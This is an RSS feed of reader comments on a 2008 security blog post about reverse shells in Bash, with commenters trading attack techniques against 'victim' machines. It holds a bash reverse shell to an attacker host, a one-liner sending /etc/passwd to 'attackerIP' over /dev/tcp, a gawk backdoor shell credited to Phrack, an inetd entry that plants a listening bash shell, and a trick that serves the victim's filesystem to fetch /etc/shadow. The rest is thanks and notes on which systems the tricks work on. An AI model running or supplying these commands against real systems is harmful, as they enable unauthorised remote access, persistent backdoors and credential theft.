<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Reverse Shell with Bash</title>
	<atom:link href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/</link>
	<description>Cutting-edge Think tank &#124; Ethical Hacker Outfit</description>
	<pubDate>Sun, 20 Jul 2008 22:05:34 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122405</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Sun, 01 Jun 2008 16:37:33 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122405</guid>
		<description>Python Trick

If you can use a web app to execute shell commands on the victim:

&lt;pre&gt;&lt;code&gt;cd / &#38;&#38; python -m SimpleHTTPServer&lt;/code&gt;&lt;/pre&gt;

then

Python will start it's own web server listening on port 8000. You can surf to the victim on that port: &lt;code&gt;http://victim:8000&lt;/code&gt; and then transverse the entire file system and download &lt;code&gt;/etc/passwd&lt;/code&gt; and &lt;code&gt;/etc/shadow&lt;/code&gt;.

Tested on macos x 10.5.3 and Safari 3.1.1. For other *nix variants, your mileage may vary.</description>
		<content:encoded><![CDATA[<p>Python Trick</p>
<p>If you can use a web app to execute shell commands on the victim:</p>
<pre><code>cd / &amp;&amp; python -m SimpleHTTPServer</code></pre>
<p>then</p>
<p>Python will start it&#8217;s own web server listening on port 8000. You can surf to the victim on that port: <code><a href="http://victim:8000" rel="nofollow">http://victim:8000</a></code> and then transverse the entire file system and download <code>/etc/passwd</code> and <code>/etc/shadow</code>.</p>
<p>Tested on macos x 10.5.3 and Safari 3.1.1. For other *nix variants, your mileage may vary.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122404</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Sun, 01 Jun 2008 16:34:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122404</guid>
		<description>Yes exact citation for above is p62-0x08_Remote_Exec.txt 
"FIST! FIST! FIST! Its all in the wrist: Remote Exec" by grugg</description>
		<content:encoded><![CDATA[<p>Yes exact citation for above is p62-0&#215;08_Remote_Exec.txt<br />
&#8220;FIST! FIST! FIST! Its all in the wrist: Remote Exec&#8221; by grugg</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122387</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Fri, 30 May 2008 22:52:44 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122387</guid>
		<description>Ok I know I know I'm obsessive ;-) Here is a reverse shell implemented in gawk

Credit: Phrack 62

&lt;pre&gt;&lt;code&gt;#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd&#62; "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt &#124;&#38; Service
                        Service &#124;&#38; getline cmd
                        if (cmd) {
                                while ((cmd &#124;&#38; getline) &#62; 0)
                                        print $0 &#124;&#38; Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}&lt;/pre&gt;&lt;/code&gt;</description>
		<content:encoded><![CDATA[<p>Ok I know I know I&#8217;m obsessive ;-) Here is a reverse shell implemented in gawk</p>
<p>Credit: Phrack 62</p>
<pre><code>#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd&gt; "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |&amp; Service
                        Service |&amp; getline cmd
                        if (cmd) {
                                while ((cmd |&amp; getline) &gt; 0)
                                        print $0 |&amp; Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}</code></pre>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122254</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Sun, 25 May 2008 19:15:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122254</guid>
		<description>Ok here's some old skool stuff. To create a listener on a *nix box running inetd (as apposed to xinetd)

&lt;ul&gt;
&lt;li&gt;Pick an obscure service from &lt;code&gt;/etc/services&lt;/code&gt; associated with a tcp port 1024 and above...for example laplink &lt;pre&gt;&lt;code&gt;laplink         1547/tcp     # laplink&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Add the following line to &lt;code&gt;/etc/inetd.conf&lt;/code&gt; &lt;pre&gt;&lt;code&gt;laplink    stream  tcp     nowait  /bin/bash bash -i&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;restart &lt;code&gt;inetd.conf&lt;/code&gt; &lt;pre&gt;&lt;code&gt;killall -HUP inetd&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;strong&gt;Explaination:&lt;/strong&gt; You are creating a listener on port tcp/1547 that will shovel you a bash shell.

&lt;strong&gt;Caveat:&lt;/strong&gt; this obviously is not my *idea* It's just very VERY old stuff that still works.</description>
		<content:encoded><![CDATA[<p>Ok here&#8217;s some old skool stuff. To create a listener on a *nix box running inetd (as apposed to xinetd)</p>
<ul>
<li>Pick an obscure service from <code>/etc/services</code> associated with a tcp port 1024 and above&#8230;for example laplink
<pre><code>laplink         1547/tcp     # laplink</code></pre>
</li>
<li>Add the following line to <code>/etc/inetd.conf</code>
<pre><code>laplink    stream  tcp     nowait  /bin/bash bash -i</code></pre>
</li>
<li>restart <code>inetd.conf</code>
<pre><code>killall -HUP inetd</code></pre>
</li>
</ul>
<p><strong>Explaination:</strong> You are creating a listener on port tcp/1547 that will shovel you a bash shell.</p>
<p><strong>Caveat:</strong> this obviously is not my *idea* It&#8217;s just very VERY old stuff that still works.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122233</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Sat, 24 May 2008 13:05:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122233</guid>
		<description>BTW the /dev/tcp and /dev/udp is also a feature of the Korn shell. Korn shell is robust shell favored by *nix oldskoolers. You will find it installed by default on Mac OS X. I don't believe it comes default on the remainder of the BSDs(free and open). As far as I can tell it works pretty much the way it does under Bash.</description>
		<content:encoded><![CDATA[<p>BTW the /dev/tcp and /dev/udp is also a feature of the Korn shell. Korn shell is robust shell favored by *nix oldskoolers. You will find it installed by default on Mac OS X. I don&#8217;t believe it comes default on the remainder of the BSDs(free and open). As far as I can tell it works pretty much the way it does under Bash.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-121307</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Fri, 09 May 2008 19:44:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-121307</guid>
		<description>Here is an important thing I just realized...d'oh
this /dev/tcp/ thing can only connect outbound, it cannot listen and receive a connection like netcat. As far as I can tell ;-)</description>
		<content:encoded><![CDATA[<p>Here is an important thing I just realized&#8230;d&#8217;oh<br />
this /dev/tcp/ thing can only connect outbound, it cannot listen and receive a connection like netcat. As far as I can tell ;-)</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120921</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Tue, 06 May 2008 09:36:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120921</guid>
		<description>Transfer a file using HTTP
Say you have compromised a victim box and want to transfer a file to the victim. 

1. Put the file in the web root of the attacker box (I'm thinking of the web server in backtrack.
2. Start up the web server on the attacker box
3. On the victim box do:

&lt;pre&gt;&lt;code&gt;(echo -e "GET /filename_you_are_moving HTTP/0.9\r\n\r\n" \
1&#62;&#38;3 &#38; cat 0&#60;&#38;3) 3 /dev/tcp/AttackerIP/80 \
&#124; (read i; while [ "$(echo $i &#124; tr -d '\r')" != "" ]; \
do read i; done; cat) &#62; local_filename&lt;/code&gt;&lt;/pre&gt;

Credit where credit is due:
http://www.pebble.org.uk/linux/bashbrowser</description>
		<content:encoded><![CDATA[<p>Transfer a file using HTTP<br />
Say you have compromised a victim box and want to transfer a file to the victim. </p>
<p>1. Put the file in the web root of the attacker box (I&#8217;m thinking of the web server in backtrack.<br />
2. Start up the web server on the attacker box<br />
3. On the victim box do:</p>
<pre><code>(echo -e "GET /filename_you_are_moving HTTP/0.9\r\n\r\n" \
1&gt;&amp;3 &amp; cat 0&lt;&amp;3) 3 /dev/tcp/AttackerIP/80 \
| (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; \
do read i; done; cat) &gt; local_filename</code></pre>
<p>Credit where credit is due:<br />
<a href="http://www.pebble.org.uk/linux/bashbrowser" rel="nofollow">http://www.pebble.org.uk/linux/bashbrowser</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120875</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Mon, 05 May 2008 23:45:26 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120875</guid>
		<description>Fun and games with &lt;code&gt;/dev/tcp&lt;/code&gt; and file transfer:

Ok here is how to use this bash &lt;code&gt;/dev/tcp&lt;/code&gt; trick to move a file.

&lt;ol&gt;
&lt;li&gt;On attacker's box: I want to move a file named test.txt to the victim box&lt;pre&gt;&lt;code&gt;cat test.txt &#124; nc -l 3333&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;I'll then connect out from victim to attacker's port 3333 and pull back the file &lt;code&gt;test.txt&lt;/code&gt;&lt;pre&gt;&lt;code&gt;bash -i &#62;&#38; /dev/tcp/attackersIP/8080 0&#62;&#38;1 &#62; test.txt&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

Advantages: netcat stays on the attacker's box. All I use on the victim box is what's already there...bash ;-)

--------------------------------------

ok so you are probably saying "That's nice" but if I'm already on the victim and I want to say transfer /etc/password or /etc/shadow back to my attacker's box and I'm too lazy to do terminal copy and paste...then what?

&lt;ol&gt;
&lt;li&gt;on attacker's box do&lt;pre&gt;&lt;code&gt;nc -l -p 8080 -vvv &#62; passwd&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;on victim box do&lt;pre&gt;&lt;code&gt;cat /etc/passwd &#62; /dev/tcp/attackerIP/8080&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

and like magic the victim's /etc/password is transferred to the attacker's box.</description>
		<content:encoded><![CDATA[<p>Fun and games with <code>/dev/tcp</code> and file transfer:</p>
<p>Ok here is how to use this bash <code>/dev/tcp</code> trick to move a file.</p>
<ol>
<li>On attacker&#8217;s box: I want to move a file named test.txt to the victim box
<pre><code>cat test.txt | nc -l 3333</code></pre>
</li>
<li>I&#8217;ll then connect out from victim to attacker&#8217;s port 3333 and pull back the file <code>test.txt</code>
<pre><code>bash -i &gt;&amp; /dev/tcp/attackersIP/8080 0&gt;&amp;1 &gt; test.txt</code></pre>
</li>
</ol>
<p>Advantages: netcat stays on the attacker&#8217;s box. All I use on the victim box is what&#8217;s already there&#8230;bash ;-)</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>ok so you are probably saying &#8220;That&#8217;s nice&#8221; but if I&#8217;m already on the victim and I want to say transfer /etc/password or /etc/shadow back to my attacker&#8217;s box and I&#8217;m too lazy to do terminal copy and paste&#8230;then what?</p>
<ol>
<li>on attacker&#8217;s box do
<pre><code>nc -l -p 8080 -vvv &gt; passwd</code></pre>
</li>
<li>on victim box do
<pre><code>cat /etc/passwd &gt; /dev/tcp/attackerIP/8080</code></pre>
</li>
</ol>
<p>and like magic the victim&#8217;s /etc/password is transferred to the attacker&#8217;s box.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120587</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Sat, 03 May 2008 13:28:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120587</guid>
		<description>pdp

thanks for pointing me in the right direction ;-)
Mr. Google sez: http://www.codeproject.com/KB/cs/ReverseRAT.aspx

LOL
Awesome!</description>
		<content:encoded><![CDATA[<p>pdp</p>
<p>thanks for pointing me in the right direction ;-)<br />
Mr. Google sez: <a href="http://www.codeproject.com/KB/cs/ReverseRAT.aspx" rel="nofollow">http://www.codeproject.com/KB/cs/ReverseRAT.aspx</a></p>
<p>LOL<br />
Awesome!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120586</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Sat, 03 May 2008 12:15:01 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120586</guid>
		<description>unfortunately batch is very limited but you can do similar things with WScript combined with JavaScript(JScript) or VBScript. These stuff come by default on every Windows operating system.</description>
		<content:encoded><![CDATA[<p>unfortunately batch is very limited but you can do similar things with WScript combined with JavaScript(JScript) or VBScript. These stuff come by default on every Windows operating system.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120585</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Sat, 03 May 2008 12:09:06 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120585</guid>
		<description>PDP

Yeh this was old school goodness ;-)
I love the idea of using what's already there. Now what I'd like is an equivalent on windows!</description>
		<content:encoded><![CDATA[<p>PDP</p>
<p>Yeh this was old school goodness ;-)<br />
I love the idea of using what&#8217;s already there. Now what I&#8217;d like is an equivalent on windows!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120581</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Sat, 03 May 2008 10:55:49 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120581</guid>
		<description>10x</description>
		<content:encoded><![CDATA[<p>10x</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: PsyEcho</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120580</link>
		<dc:creator>PsyEcho</dc:creator>
		<pubDate>Sat, 03 May 2008 10:31:13 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120580</guid>
		<description>Thanks 'pdp'. Nice concept &#38; article. Though doesn't work for my default Debian base, but surely gonna come handy for research! Kudos and keep up the good work :) Cheers.</description>
		<content:encoded><![CDATA[<p>Thanks &#8216;pdp&#8217;. Nice concept &amp; article. Though doesn&#8217;t work for my default Debian base, but surely gonna come handy for research! Kudos and keep up the good work :) Cheers.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: f0rg3</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120337</link>
		<dc:creator>f0rg3</dc:creator>
		<pubDate>Tue, 29 Apr 2008 23:09:57 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-120337</guid>
		<description>Useful, Thanks.</description>
		<content:encoded><![CDATA[<p>Useful, Thanks.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-119977</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Sat, 26 Apr 2008 14:56:58 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-119977</guid>
		<description>Correction:
script should read:

&lt;pre&gt;&lt;code&gt;#!/bin/bash
exec 3 /dev/tcp/$1/80
echo -e "Get /simple?se=1 HTTP/1.0\n" &#62;&#38;3
cat &#60;&#38;3&lt;/code&gt;&lt;/pre&gt;</description>
		<content:encoded><![CDATA[<p>Correction:<br />
script should read:</p>
<pre><code>#!/bin/bash
exec 3 /dev/tcp/$1/80
echo -e "Get /simple?se=1 HTTP/1.0\n" &gt;&amp;3
cat &lt;&amp;3</code></pre>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-119620</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Wed, 23 Apr 2008 21:55:58 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-119620</guid>
		<description>Ok this is off scope for this thread, and the moderator may not want it but here's a way to use /dev/tcp to banner a web server:

&lt;pre&gt;&lt;code&gt;#!/bin/bash
exec 3 /dev/tcp/$1/80
echo -e "Get /simple?se=1 HTTP/1.0\n" &#62;&#38;3
cat &#60;&#38;3&lt;/code&gt;&lt;/pre&gt;

You'd feed the www.whatever.com on the command line.
 
usage:

&lt;pre&gt;&lt;code&gt;./script www.whatever.com&lt;/code&gt;&lt;/pre&gt;</description>
		<content:encoded><![CDATA[<p>Ok this is off scope for this thread, and the moderator may not want it but here&#8217;s a way to use /dev/tcp to banner a web server:</p>
<pre><code>#!/bin/bash
exec 3 /dev/tcp/$1/80
echo -e "Get /simple?se=1 HTTP/1.0\n" &gt;&amp;3
cat &lt;&amp;3</code></pre>
<p>You&#8217;d feed the <a href="http://www.whatever.com" rel="nofollow">http://www.whatever.com</a> on the command line.</p>
<p>usage:</p>
<pre><code>./script <a href="http://www.whatever.com" rel="nofollow">http://www.whatever.com</a></code></pre>
]]></content:encoded>
	</item>
	<item>
		<title>By: macubergeek</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-119555</link>
		<dc:creator>macubergeek</dc:creator>
		<pubDate>Wed, 23 Apr 2008 09:18:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-119555</guid>
		<description>Marchiner: wow this bug report goes back to 2002! How much longer till it's fixed ;-)</description>
		<content:encoded><![CDATA[<p>Marchiner: wow this bug report goes back to 2002! How much longer till it&#8217;s fixed ;-)</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Marchiner</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-119457</link>
		<dc:creator>Marchiner</dc:creator>
		<pubDate>Tue, 22 Apr 2008 15:02:48 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-119457</guid>
		<description>Just to complement... 

i know this post its about the reverse shell. 
-But "debian users" whatch this post about
 Default-bash:/dev/tcp

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464</description>
		<content:encoded><![CDATA[<p>Just to complement&#8230; </p>
<p>i know this post its about the reverse shell.<br />
-But &#8220;debian users&#8221; whatch this post about<br />
 Default-bash:/dev/tcp</p>
<p><a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464" rel="nofollow">http://bugs.debian.org/cgi-bin.....bug=146464</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Marchiner</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-119450</link>
		<dc:creator>Marchiner</dc:creator>
		<pubDate>Tue, 22 Apr 2008 14:51:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-119450</guid>
		<description>Ops sorry.. really don work on debian.

Works on Redhat Enterprise 4 and 5.</description>
		<content:encoded><![CDATA[<p>Ops sorry.. really don work on debian.</p>
<p>Works on Redhat Enterprise 4 and 5.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Marchiner</title>
		<link>http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-119448</link>
		<dc:creator>Marchiner</dc:creator>
		<pubDate>Tue, 22 Apr 2008 14:15:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-119448</guid>
		<description>It works ok on debian, but only using TCL! :D

But works fine!

Thx for nice post pdp!</description>
		<content:encoded><![CDATA[<p>It works ok on debian, but only using TCL! :D</p>
<p>But works fine!</p>
<p>Thx for nice post pdp!</p>
]]></content:encoded>
	</item>
</channel>
</rss>
